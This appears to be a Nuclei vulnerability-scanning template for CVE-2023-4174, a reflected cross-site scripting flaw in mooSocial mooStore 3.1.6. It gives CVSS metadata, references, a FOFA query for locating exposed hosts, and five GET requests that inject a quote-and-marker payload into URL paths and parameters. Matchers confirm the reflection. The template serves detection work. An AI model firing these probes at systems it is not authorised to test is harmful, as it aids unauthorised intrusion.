id: CVE-2023-4174 info: name: mooSocial 3.1.6 - Reflected Cross Site Scripting author: momika233 severity: medium description: | A vulnerability has been found in mooSocial mooStore 3.1.6 and classified as problematic. Affected by this vulnerability is an unknown functionality. The manipulation leads to cross site scripting. The attack can be launched remotely. remediation: | Upgrade to the latest version of mooSocial or apply the vendor-provided patch to fix the XSS vulnerability. reference: - https://www.exploit-db.com/exploits/51671 - https://nvd.nist.gov/vuln/detail/CVE-2023-4174 - https://packetstormsecurity.com/files/174017/Social-Commerce-3.1.6-Cross-Site-Scripting.html - https://vuldb.com/?ctiid.236209 - https://vuldb.com/?id.236209 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2023-4174 cwe-id: CWE-79 epss-score: 0.00209 epss-percentile: 0.58784 cpe: cpe:2.3:a:moosocial:moostore:3.1.6:*:*:*:*:*:*:* metadata: verified: true max-request: 5 vendor: moosocial product: moostore fofa-query: icon_hash="702863115" tags: packetstorm,cve,cve2023,moosocial,xss http: - method: GET path: - '{{BaseURL}}/search/index?q=">ridxm' - '{{BaseURL}}/stores">ridxm/all-products?store_id=&keyword=&price_from=&price_to=&rating=&store_category_id=&sortby=most_recent' - '{{BaseURL}}/user_info">ridxm/index/friends' - '{{BaseURL}}/faqs">ridxm/index?content_search=">ridxm' - '{{BaseURL}}/classifieds">ridxm/search?category=1' stop-at-first-match: true matchers-condition: and matchers: - type: word part: body words: - "ridxm" - "mooSocial" condition: and - type: word part: header words: - "text/html" # digest: 490a004630440220272b617909bc129ac298afbf50635a876bf7e0267134fb0853b0d550a3fa91cd022054846ef1cd12e90b7dbe5a270f5c49ad38af64b368a166da91c73115a892e3e9:922c64590222798bb761d5b6d8e72950